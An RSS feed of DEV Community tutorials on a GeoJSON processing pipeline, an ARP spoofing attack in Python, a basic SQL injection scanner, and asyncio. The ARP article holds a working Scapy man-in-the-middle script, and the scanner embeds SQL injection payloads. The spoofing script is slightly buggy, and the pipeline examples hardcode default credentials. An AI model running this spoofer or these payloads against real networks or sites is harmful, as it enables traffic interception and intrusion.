<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: AissaGeek</title>
    <description>The latest articles on DEV Community by AissaGeek (@aissageek).</description>
    <link>https://dev.to/aissageek</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1118940%2F44e4d6d8-c10a-4a02-b4b0-1555fb85b176.jpg</url>
      <title>DEV Community: AissaGeek</title>
      <link>https://dev.to/aissageek</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aissageek"/>
    <language>en</language>
    <item>
      <title>Building an Event-Driven System for GeoJSON File Processing and Serving</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Thu, 25 Jan 2024 10:22:36 +0000</pubDate>
      <link>https://dev.to/aissageek/building-an-event-driven-system-for-geojson-file-processing-and-serving-1i30</link>
      <guid>https://dev.to/aissageek/building-an-event-driven-system-for-geojson-file-processing-and-serving-1i30</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Event-Driven&lt;/strong&gt; architectures are powerful inn handling &lt;strong&gt;asynchronous&lt;/strong&gt; task, providing &lt;strong&gt;scalability&lt;/strong&gt;, and decoupling various components of a system. In this article we'll build an event-driven system that processes &lt;strong&gt;GeoJSON&lt;/strong&gt; files. if you are interested, see how it is done:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;File Watcher&lt;/strong&gt;: Detects new files in a directory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Message Broker&lt;/strong&gt; (RabbitMQ): Receives message about the new files.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consumer&lt;/strong&gt;: Processes files and interacts with a database and object storage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FastAPI&lt;/strong&gt; Server: Serves the files through streaming.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  System Overview
&lt;/h2&gt;

&lt;p&gt;Our system consists of four main component.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrkiof70bkdfanfyslvs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrkiof70bkdfanfyslvs.png" alt="Simple Event-Driven file processing and serving"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A python script that &lt;strong&gt;watches&lt;/strong&gt; a directory for new &lt;strong&gt;GeoJSON&lt;/strong&gt; files, then publishes information about the new file into the &lt;strong&gt;RabbitMQ&lt;/strong&gt; broker, information such, file name and absolute path.&lt;/li&gt;
&lt;li&gt;A message &lt;strong&gt;broker&lt;/strong&gt; that queues this information.&lt;/li&gt;
&lt;li&gt;A python script &lt;strong&gt;consumer&lt;/strong&gt;, that processes each file, stores in &lt;strong&gt;PostGIS&lt;/strong&gt; database, and uploads it to &lt;strong&gt;MinIO&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;FastAPI&lt;/strong&gt; API that provides an endpoint to stream the file form MinIO.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Technologies used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RabbitMQ&lt;/strong&gt;: for message queuing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PostGIS&lt;/strong&gt;: A &lt;strong&gt;spatial&lt;/strong&gt; database extender for &lt;strong&gt;PostgresSQL&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MinIO&lt;/strong&gt;: An object &lt;strong&gt;storage&lt;/strong&gt; solution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FastAPI&lt;/strong&gt;: A modern, fast framework for building &lt;strong&gt;APIs&lt;/strong&gt;.
Now for practical implementation of the system.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  System Setup
&lt;/h2&gt;

&lt;p&gt;In order to quickly build our system, we will use &lt;strong&gt;docker-compose&lt;/strong&gt; to &lt;strong&gt;orchestrate&lt;/strong&gt; some services, see below the &lt;code&gt;docker-compose.yml&lt;/code&gt; file &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

version: '3.8'
services:
  rabbitmq:
    image: rabbitmq:3-management
    ports:
      - "5672:5672"
      - "15672:15672"
  postgis:
    image: postgis/postgis
    environment:
      POSTGRES_DB: postgis
      POSTGRES_USER: user
      POSTGRES_PASSWORD: password
  minio:
    image: minio/minio
    volumes:
      - minio_data:/data
    ports:
      - "9000:9000"
    environment:
      MINIO_ROOT_USER: minio
      MINIO_ROOT_PASSWORD: minio123
    command: server /data
volumes:
  minio_data:


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;What is next ? Let's put in place the python watcher and consumer so our system will be partially done.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File Watcher Implementation&lt;/strong&gt;&lt;br&gt;
The file watcher uses &lt;code&gt;watchdog&lt;/code&gt; to monitor a directory:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import pika
import json

class Handler(FileSystemEventHandler):
    def on_created(self, event):
        if not event.is_directory:
            self.send_message(event.src_path)

    def send_message(self, file_path):
        connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
        channel = connection.channel()
        channel.queue_declare(queue='file_queue')
        message = json.dumps({'file_path': file_path})
        channel.basic_publish(exchange='', routing_key='file_queue', body=message)
        connection.close()

observer = Observer()
observer.schedule(Handler(), path='/path/to/watch', recursive=False)
observer.start()


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Python Consumer for Processing Files&lt;/strong&gt;&lt;br&gt;
This script below consumes messages, processes files, and interacts with PostGIS and MinIO:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

import pika
import json
import geopandas as gpd
from minio import Minio

def process_file(file_path):
    # Read GeoJSON file
    gdf = gpd.read_file(file_path)
    # TODO Process and save to PostGIS
    # ...... Here its your turn to complete this project ....
    # Upload to MinIO
    minio_client.fput_object("your-bucket", "file_name.geojson", file_path)

minio_client = Minio('minio:9000', access_key='minio', secret_key='minio123', secure=False)

connection = pika.BlockingConnection(pika.ConnectionParameters('rabbitmq'))
channel = connection.channel()
channel.queue_declare(queue='file_queue')

def callback(ch, method, properties, body):
    file_info = json.loads(body)
    process_file(file_info['file_path'])

channel.basic_consume(queue='file_queue', on_message_callback=callback, auto_ack=True)
channel.start_consuming()



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;FastAPI Endpoint for streaming Files&lt;/strong&gt;&lt;br&gt;
FastAPI provides an endpoint to stream files form MinIO:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;from fastapi import FastAPI&lt;br&gt;
from minio import Minio&lt;br&gt;
from starlette.responses import StreamingResponse&lt;/p&gt;

&lt;p&gt;app = FastAPI()&lt;br&gt;
minio_client = Minio('minio:9000', access_key='minio', secret_key='minio123', secure=False)&lt;/p&gt;

&lt;p&gt;@app.get("/files/{file_name}")&lt;br&gt;
async def get_file(file_name: str):&lt;br&gt;
    obj = minio_client.get_object("your-bucket", file_name)&lt;br&gt;
    return StreamingResponse(obj.stream(32*1024), media_type="application/octet-stream")&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  What is next ?&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;You think we are all done, then you are &lt;strong&gt;wrong&lt;/strong&gt;, try to put all together what we have seen, and see if it works.&lt;br&gt;
Something &lt;strong&gt;messing&lt;/strong&gt; right ? Of course, there are some &lt;strong&gt;missing&lt;/strong&gt; pieces, like the database &lt;strong&gt;ORM&lt;/strong&gt; model to map the database &lt;strong&gt;tables&lt;/strong&gt;. That is not all, how about creating the &lt;strong&gt;database&lt;/strong&gt; with necessary &lt;strong&gt;tables&lt;/strong&gt;. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How about you complete this project and let me know about your precious contribution ;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We have built an &lt;strong&gt;event-driven&lt;/strong&gt; system for &lt;strong&gt;processing&lt;/strong&gt; and serving &lt;strong&gt;GeoJSON&lt;/strong&gt; files. This setup demonstrates the power of combining several technologies and &lt;strong&gt;Python&lt;/strong&gt; scripts to create a &lt;strong&gt;scalable&lt;/strong&gt; and efficient system.&lt;br&gt;
By leveraging &lt;strong&gt;Docker&lt;/strong&gt;, we ensure that our components are easily &lt;strong&gt;deployable&lt;/strong&gt; and maintainable. This architecture is not only limited to &lt;strong&gt;GeoJSON&lt;/strong&gt; files but can be adapted to various scenarios requiring automated file processing and serving. &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>programming</category>
      <category>tutorial</category>
      <category>python</category>
    </item>
    <item>
      <title>Understanding and Implementing ARP Spoofing with Object-Oriented Python</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Thu, 07 Dec 2023 10:25:54 +0000</pubDate>
      <link>https://dev.to/aissageek/understanding-and-implementing-arp-spoofing-with-object-oriented-python-8en</link>
      <guid>https://dev.to/aissageek/understanding-and-implementing-arp-spoofing-with-object-oriented-python-8en</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Address Resolution Protocol&lt;/strong&gt; (ARP) spoofing, also known as &lt;strong&gt;ARP&lt;/strong&gt; poisoning, is a network attack in which an attacker sends &lt;strong&gt;falsified&lt;/strong&gt; ARP messages over a local area network. This results in the linking of the attacker's &lt;strong&gt;MAC&lt;/strong&gt; address with the IP address of a legitimate host, effectively diverting traffic meant for that host to the attacker instead. This article delves into the intricacies of ARP, how ARP spoofing works, and provides a detailed Python script using object-oriented programming (&lt;strong&gt;OOP&lt;/strong&gt;) to simulate this attack in a controlled environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding ARP
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Role of ARP in Networks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ARP is used for mapping a known IP address to a &lt;strong&gt;MAC address&lt;/strong&gt;. When a device on a &lt;strong&gt;LAN&lt;/strong&gt; wants to communicate with another device, it uses ARP to find out the &lt;strong&gt;physical MAC address&lt;/strong&gt; associated with that IP address.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How ARP Works&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ARP Request: A device sends an &lt;strong&gt;ARP request&lt;/strong&gt; to find the MAC address associated with an IP address.&lt;/li&gt;
&lt;li&gt;ARP Reply: The device owning the IP address responds with its MAC address.&lt;/li&gt;
&lt;li&gt;ARP Cache: Devices store this mapping in their &lt;strong&gt;ARP cache&lt;/strong&gt; for future reference.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  ARP Spoofing Explained
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Mechanism&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Selecting Targets: An attacker chooses the target device and the &lt;strong&gt;gateway/router&lt;/strong&gt; on a &lt;strong&gt;LAN&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Sending Spoofed ARP Responses: The attacker sends a falsified ARP response to the target, claiming their &lt;strong&gt;MAC address&lt;/strong&gt; corresponds to the gateway's IP. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Similarly, they send a &lt;strong&gt;falsified response&lt;/strong&gt; to the gateway, pretending their MAC address corresponds to the target's IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Goals of ARP Spoofing&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Interception: To &lt;strong&gt;capture&lt;/strong&gt; or modify data between the target device and the gateway.&lt;/li&gt;
&lt;li&gt;Man-in-the-Middle (&lt;strong&gt;MitM&lt;/strong&gt;): To position the attacker's machine between the target and the gateway.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Python Script for ARP Spoofing Using OOP
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Script Overview&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We'll develop a Python script that &lt;strong&gt;simulates ARP&lt;/strong&gt; spoofing in a controlled environment. The script will use object-oriented programming principles to structure the code efficiently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Required Tools&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Python Environment: Python 3.x should be installed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scapy Library: A powerful packet manipulation tool.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install Scapy: &lt;code&gt;pip install scapy&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Script Architecture&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ARP Spoofer Class: This class will &lt;strong&gt;encapsulate&lt;/strong&gt; the functionalities for ARP spoofing.
Methods:&lt;/li&gt;
&lt;li&gt;Constructor: To initialize target and &lt;strong&gt;gateway IP&lt;/strong&gt; addresses.&lt;/li&gt;
&lt;li&gt;Spoofing Method: To send the spoofed ARP responses.&lt;/li&gt;
&lt;li&gt;Restore Method: To restore the network to its original state.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Script Features&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Object-Oriented Design: Using classes to encapsulate &lt;strong&gt;ARP&lt;/strong&gt; spoofing functionalities.&lt;/li&gt;
&lt;li&gt;Network Interface Management: Handling network interfaces for ARP spoofing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous Spoofing&lt;/strong&gt; with Interval Control: Continuously send ARP responses at regular intervals.&lt;/li&gt;
&lt;li&gt;Error Handling: Robust &lt;strong&gt;exception handling&lt;/strong&gt; for network errors or interruptions.&lt;/li&gt;
&lt;li&gt;Network Restoration: Restoring the &lt;strong&gt;ARP table&lt;/strong&gt; of the target and gateway to their original state.&lt;/li&gt;
&lt;li&gt;Logging: Advanced &lt;strong&gt;logging&lt;/strong&gt; for tracking the spoofing process and any errors.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Code Implementation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import time
import sys
import logging
from scapy.all import ARP, send, get_if_hwaddr, get_if_addr

class ARPSpoofer:
    def __init__(self, target_ip, gateway_ip, interface):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.interface = interface
        self.target_mac = self.get_mac(target_ip)
        self.gateway_mac = self.get_mac(gateway_ip)
        self.own_mac = get_if_hwaddr(self.interface)

    def get_mac(self, ip):
        response, _ = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip), timeout=2, retry=10, verbose=False)
        for _, received in response:
            return received.hwsrc
        sys.exit("Could not find MAC address for IP address: {}".format(ip))

    def spoof(self):
        spoofed_target = ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip, hwdst=self.target_mac)
        spoofed_gateway = ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip, hwdst=self.gateway_mac)
        send(spoofed_target, verbose=False)
        send(spoofed_gateway, verbose=False)
        logging.info(f"Sent spoofed ARP responses to {self.target_ip} and {self.gateway_ip}")

    def restore(self):
        restore_target = ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gateway_mac)
        restore_gateway = ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.own_mac)
        send(restore_target, count=5, verbose=False)
        send(restore_gateway, count=5, verbose=False)
        logging.info("Restored the network")

    def run(self):
        try:
            while True:
                self.spoof()
                # Sends spoofed ARP responses every 10 seconds
                time.sleep(10)  
        except KeyboardInterrupt:
            self.restore()
            sys.exit("ARP spoofing stopped")

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')

# Usage
# FIXME: Replace with your network interface
interface = "eth0"  
# FIXME: Replace with your target IP
target_ip = "192.168.1.5" 
# FIXME: Replace with your gateway IP
gateway_ip = "192.168.1.1"  

spoofer = ARPSpoofer(target_ip, gateway_ip, interface)
spoofer.run()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Code Explanation&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Constructor: Initializes the ARPSpoofer object with target and gateway IP addresses.&lt;/li&gt;
&lt;li&gt;Spoof Method: Crafts and sends spoofed ARP responses to both the target and the gateway.&lt;/li&gt;
&lt;li&gt;Restore Method: Ideally, it should restore the ARP tables of the affected devices to their original state.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Security and Ethical Considerations
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Legal Restrictions&lt;/strong&gt;: Unauthorized ARP spoofing is illegal.&lt;br&gt;
&lt;strong&gt;Ethical Hacking&lt;/strong&gt;: Only perform &lt;strong&gt;ARP spoofing&lt;/strong&gt; in a controlled environment with explicit permission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ARP spoofing&lt;/strong&gt; is a significant security concern in network environments. Understanding its mechanism is vital for cybersecurity professionals. The provided Python script serves as an educational tool to simulate ARP spoofing, emphasizing the importance of ethical practices and legal compliance in cybersecurity endeavors.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Your support is much appreciated, and makes me HIGH ;)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>python</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Building a Simple Web Application Security Scanner in Python</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Wed, 06 Dec 2023 10:05:14 +0000</pubDate>
      <link>https://dev.to/aissageek/building-a-simple-web-application-security-scanner-in-python-4g5f</link>
      <guid>https://dev.to/aissageek/building-a-simple-web-application-security-scanner-in-python-4g5f</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In the rapidly evolving digital landscape, web &lt;strong&gt;security&lt;/strong&gt; is paramount. A Web Application Security Scanner plays a crucial role in identifying &lt;strong&gt;vulnerabilities&lt;/strong&gt;. This article provides an introduction to build a simple scanner using Python, focusing on system design, &lt;strong&gt;architecture&lt;/strong&gt;, &lt;strong&gt;design&lt;/strong&gt; &lt;strong&gt;patterns&lt;/strong&gt;, and data modeling.&lt;/p&gt;

&lt;h2&gt;
  
  
  System Design and Architecture
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Modular Architecture&lt;/strong&gt;&lt;br&gt;
Our scanner adopts a modular approach, ensuring scalability and maintainability. Key components include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Scanning &lt;strong&gt;Engine&lt;/strong&gt; (SE): Coordinates the scanning process and manages interactions between various components.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability&lt;/strong&gt; Modules (VMs): Dedicated modules for different vulnerabilities like &lt;strong&gt;SQL Injection&lt;/strong&gt;, &lt;strong&gt;XSS&lt;/strong&gt;, &lt;strong&gt;CSRF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Report &lt;strong&gt;Generator&lt;/strong&gt; (RG): Compiles findings into comprehensive reports.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Design Patterns in Architecture&lt;/strong&gt;&lt;br&gt;
The application leverages several design patterns:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Factory Method&lt;/strong&gt; (Not elaborated in this article, but serves as an idea): This pattern dynamically creates instances of VMs based on scanning requirements, enhancing flexibility.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command Pattern&lt;/strong&gt;: Encapsulates scanning operations as commands, allowing for easy execution, logging, and queuing.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Data Models&lt;/strong&gt;&lt;br&gt;
Two primary data models structure the system's operation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Scanning Profile&lt;/strong&gt;: Dictates scan parameters like depth and targeted vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Report&lt;/strong&gt;: Details the vulnerabilities found, with severity ratings and remediation suggestions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementation&lt;/strong&gt;: SQL Injection Module&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The SQL Injection Module exemplifies the application of our design principles in a real-world context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Script Overview
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup

class SQLInjectionModule:
    def __init__(self, target_url):
        self.target_url = target_url
        self.test_payloads = ["'", "' OR '1'='1", "' OR '1'='1' --"]

    def scan(self):
        # Get all forms from the target URL
        response = requests.get(self.target_url)
        soup = BeautifulSoup(response.text, 'html.parser')
        forms = soup.find_all('form')
        for form in forms:
            form_details = self.get_form_details(form)
            for payload in self.test_payloads:
                self.test_payload_injection(form_details, payload)

    def get_form_details(self, form):
        # Extract form details
        details = {}
        action = form.attrs.get("action").lower()
        method = form.attrs.get("method", "get").lower()
        inputs = []
        for input_tag in form.find_all("input"):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            inputs.append({"type": input_type, "name": input_name})
        details["action"] = action
        details["method"] = method
        details["inputs"] = inputs
        return details

    def test_payload_injection(self, form_details, payload):
        # Test the form with the payload
        url = urljoin(self.target_url, form_details["action"])
        data = {}
        for input in form_details["inputs"]:
            if input["type"] == "text":
                data[input["name"]] = payload
        if form_details["method"] == "post":
            response = requests.post(url, data=data)
        else:
            response = requests.get(url, params=data)
        if self.is_vulnerable(response):
            print(f"SQL Injection vulnerability detected, form action: {form_details['action']}")

    def is_vulnerable(self, response):
        # TODO Define an approach to check if the response indicates a vulnerability
        errors = {
            "you have an error in your sql syntax;",
            "warning: mysql",
        }
        for error in errors:
            if error in response.content.decode().lower():
                return True
        return False

if __name__ == "__main__":
    scanner = SQLInjectionModule("http://example.com")
    scanner.scan()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Script Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Modular Approach&lt;/strong&gt;: Represents a VM, functioning autonomously while integrating with the SE.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Factory Method&lt;/strong&gt;: Instances of this module are created dynamically, as per the Factory Method pattern.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command Pattern Application&lt;/strong&gt;: The &lt;code&gt;scan()&lt;/code&gt; method functions as a command within the broader system architecture.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Advanced Features and Expansion
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Additional VMs&lt;/strong&gt;: Development of further modules to cover a wider range of vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SE Integration&lt;/strong&gt;: Seamless integration of these modules with the SE for coordinated operations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enhanced UI and Reporting&lt;/strong&gt;: Development of an intuitive UI and a robust reporting system.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Detailed Workflow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Initiation&lt;/strong&gt;: The UI takes user input to define the scanning profile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Module Selection&lt;/strong&gt;: The SE, using the Factory Method, selects appropriate VMs based on the profile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanning Process&lt;/strong&gt;: Each VM executes its scanning logic, encapsulated as commands.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Result Compilation&lt;/strong&gt;: As VMs identify vulnerabilities, they use the Observer pattern to relay this information back to the SE.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Report Generation&lt;/strong&gt;: The RG collates these findings into a structured report for the end-user.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Challenges and Solutions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Performance Optimization&lt;/strong&gt;: Implementing asynchronous scanning and efficient data handling to manage performance.&lt;br&gt;
&lt;strong&gt;False Positive Reduction&lt;/strong&gt;: Employing advanced algorithms and heuristics to minimize false positives.&lt;br&gt;
&lt;strong&gt;Continuous Updates&lt;/strong&gt;: Keeping the scanner updated with the latest vulnerability signatures and detection logic.&lt;br&gt;
&lt;strong&gt;Unit Testing&lt;/strong&gt;: Ensuring reliability and correctness of individual modules.&lt;br&gt;
&lt;strong&gt;Integration Testing&lt;/strong&gt;: Verifying the seamless functioning of modules within the system.&lt;br&gt;
&lt;strong&gt;Real-world Testing&lt;/strong&gt;: Using known vulnerable applications like OWASP WebGoat to test the scanner's effectiveness.&lt;br&gt;
&lt;strong&gt;User Documentation&lt;/strong&gt;: Detailed guides on setup, configuration, and report interpretation.&lt;br&gt;
&lt;strong&gt;Deployment Strategy&lt;/strong&gt;: Packaging the application for ease of installation and use, considering containerization for better environment control.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ethical and Legal Considerations
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Permission-Based Testing&lt;/strong&gt;: Emphasizing the need for authorization before scanning any web application.&lt;br&gt;
&lt;strong&gt;Legal Compliance&lt;/strong&gt;: Adhering to legal requirements and ethical standards in the deployment and use of the scanner.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Building a Web Application &lt;strong&gt;Security&lt;/strong&gt; &lt;strong&gt;Scanner&lt;/strong&gt; is a complex yet rewarding endeavor. This project not only bolsters your Python and software design skills but also deepens your understanding of web application &lt;strong&gt;vulnerabilities&lt;/strong&gt;. As the &lt;strong&gt;threat&lt;/strong&gt; landscape evolves, the scanner must adapt, incorporating the latest in vulnerability detection and software architecture trends. This tool, when fully realized, becomes an indispensable part of any developer's or security analyst's &lt;strong&gt;toolkit&lt;/strong&gt;, providing insights and foresight in the crucial domain of web security.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;As I always say, Your support makes me **HIGH**&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>python</category>
    </item>
    <item>
      <title>Unlocking Concurrency with Python's asyncio: A Comprehensive Guide</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Tue, 28 Nov 2023 09:33:59 +0000</pubDate>
      <link>https://dev.to/aissageek/unlocking-concurrency-with-pythons-asyncio-a-comprehensive-guide-14oi</link>
      <guid>https://dev.to/aissageek/unlocking-concurrency-with-pythons-asyncio-a-comprehensive-guide-14oi</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Concurrency&lt;/strong&gt; is an integral part of modern software development, enabling efficient use of resources and improved application performance. Python's &lt;strong&gt;asyncio&lt;/strong&gt; module, introduced in &lt;strong&gt;Python 3.4&lt;/strong&gt;, provides a powerful framework for writing concurrent code using &lt;strong&gt;coroutines&lt;/strong&gt;, making it easier to handle a wide array of &lt;strong&gt;asynchronous&lt;/strong&gt; programming tasks. In this article, we'll explore the depths of asyncio, from its basic constructs to advanced features, and understand how to harness its full potential in your Python projects.&lt;/p&gt;

&lt;h2&gt;
  
  
  Core Concepts of asyncio
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Coroutines (async def)&lt;/strong&gt;: Coroutines are at the heart of &lt;strong&gt;asyncio&lt;/strong&gt;. They are special functions that can pause and resume their execution. Define coroutines using &lt;code&gt;async def&lt;/code&gt;, and use await to call other &lt;strong&gt;async functions&lt;/strong&gt;.&lt;/p&gt;

